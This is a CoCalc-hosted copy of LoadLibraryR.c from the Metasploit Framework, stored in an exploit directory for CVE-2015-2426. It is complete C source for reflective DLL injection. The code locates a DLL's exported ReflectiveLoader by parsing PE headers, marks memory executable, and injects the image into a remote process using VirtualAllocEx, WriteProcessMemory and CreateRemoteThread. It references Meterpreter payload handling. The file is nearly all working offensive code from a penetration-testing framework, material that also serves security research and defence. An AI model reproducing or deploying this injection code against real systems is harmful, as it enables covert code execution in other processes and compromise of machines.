CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2015-2426/inject/src/LoadLibraryR.c
Views: 11789
1
//===============================================================================================//
2
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3
// All rights reserved.
4
//
5
// Redistribution and use in source and binary forms, with or without modification, are permitted
6
// provided that the following conditions are met:
7
//
8
// * Redistributions of source code must retain the above copyright notice, this list of
9
// conditions and the following disclaimer.
10
//
11
// * Redistributions in binary form must reproduce the above copyright notice, this list of
12
// conditions and the following disclaimer in the documentation and/or other materials provided
13
// with the distribution.
14
//
15
// * Neither the name of Harmony Security nor the names of its contributors may be used to
16
// endorse or promote products derived from this software without specific prior written permission.
17
//
18
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26
// POSSIBILITY OF SUCH DAMAGE.
27
//===============================================================================================//
28
#include "LoadLibraryR.h"
29
//===============================================================================================//
30
DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
31
{
32
WORD wIndex = 0;
33
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
34
PIMAGE_NT_HEADERS pNtHeaders = NULL;
35
36
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
37
38
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
39
40
if( dwRva < pSectionHeader[0].PointerToRawData )
41
return dwRva;
42
43
for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )
44
{
45
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )
46
return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
47
}
48
49
return 0;
50
}
51
//===============================================================================================//
52
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
53
{
54
UINT_PTR uiBaseAddress = 0;
55
UINT_PTR uiExportDir = 0;
56
UINT_PTR uiNameArray = 0;
57
UINT_PTR uiAddressArray = 0;
58
UINT_PTR uiNameOrdinals = 0;
59
DWORD dwCounter = 0;
60
#ifdef _WIN64
61
DWORD dwMeterpreterArch = 2;
62
#else
63
// This will catch Win32 and WinRT.
64
DWORD dwMeterpreterArch = 1;
65
#endif
66
67
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
68
69
// get the File Offset of the modules NT Header
70
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
71
72
// currenlty we can only process a PE file which is the same type as the one this fuction has
73
// been compiled as, due to various offset in the PE structures being defined at compile time.
74
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
75
{
76
if( dwMeterpreterArch != 1 )
77
return 0;
78
}
79
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
80
{
81
if( dwMeterpreterArch != 2 )
82
return 0;
83
}
84
else
85
{
86
return 0;
87
}
88
89
// uiNameArray = the address of the modules export directory entry
90
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
91
92
// get the File Offset of the export directory
93
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );
94
95
// get the File Offset for the array of name pointers
96
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );
97
98
// get the File Offset for the array of addresses
99
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
100
101
// get the File Offset for the array of name ordinals
102
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );
103
104
// get a counter for the number of exported functions...
105
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
106
107
// loop through all the exported functions to find the ReflectiveLoader
108
while( dwCounter-- )
109
{
110
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
111
112
if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
113
{
114
// get the File Offset for the array of addresses
115
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
116
117
// use the functions name ordinal as an index into the array of name pointers
118
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
119
120
// return the File Offset to the ReflectiveLoader() functions code...
121
return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
122
}
123
// get the next exported function name
124
uiNameArray += sizeof(DWORD);
125
126
// get the next exported function name ordinal
127
uiNameOrdinals += sizeof(WORD);
128
}
129
130
return 0;
131
}
132
//===============================================================================================//
133
// Loads a DLL image from memory via its exported ReflectiveLoader function
134
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )
135
{
136
HMODULE hResult = NULL;
137
DWORD dwReflectiveLoaderOffset = 0;
138
DWORD dwOldProtect1 = 0;
139
DWORD dwOldProtect2 = 0;
140
REFLECTIVELOADER pReflectiveLoader = NULL;
141
DLLMAIN pDllMain = NULL;
142
143
if( lpBuffer == NULL || dwLength == 0 )
144
return NULL;
145
146
__try
147
{
148
// check if the library has a ReflectiveLoader...
149
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
150
if( dwReflectiveLoaderOffset != 0 )
151
{
152
pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);
153
154
// we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader...
155
// this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region
156
if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) )
157
{
158
// call the librarys ReflectiveLoader...
159
pDllMain = (DLLMAIN)pReflectiveLoader();
160
if( pDllMain != NULL )
161
{
162
// call the loaded librarys DllMain to get its HMODULE
163
// Dont call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH as that is for payloads only.
164
if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) )
165
hResult = NULL;
166
}
167
// revert to the previous protection flags...
168
VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 );
169
}
170
}
171
}
172
__except( EXCEPTION_EXECUTE_HANDLER )
173
{
174
hResult = NULL;
175
}
176
177
return hResult;
178
}
179
//===============================================================================================//
180
// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function
181
// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
182
// defined in order to use the correct RDI prototypes.
183
// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
184
// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
185
// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space.
186
// Note: This function currently cant inject accross architectures, but only to architectures which are the
187
// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64.
188
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )
189
{
190
LPVOID lpRemoteLibraryBuffer = NULL;
191
LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
192
HANDLE hThread = NULL;
193
DWORD dwReflectiveLoaderOffset = 0;
194
DWORD dwThreadId = 0;
195
196
__try
197
{
198
do
199
{
200
if( !hProcess || !lpBuffer || !dwLength )
201
break;
202
203
// check if the library has a ReflectiveLoader...
204
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
205
if( !dwReflectiveLoaderOffset )
206
break;
207
208
// alloc memory (RWX) in the host process for the image...
209
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
210
if( !lpRemoteLibraryBuffer )
211
break;
212
213
// write the image into the host process...
214
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
215
break;
216
217
// add the offset to ReflectiveLoader() to the remote library address...
218
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
219
220
// create a remote thread in the host process to call the ReflectiveLoader!
221
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
222
223
} while( 0 );
224
225
}
226
__except( EXCEPTION_EXECUTE_HANDLER )
227
{
228
hThread = NULL;
229
}
230
231
return hThread;
232
}
233
//===============================================================================================//
234
235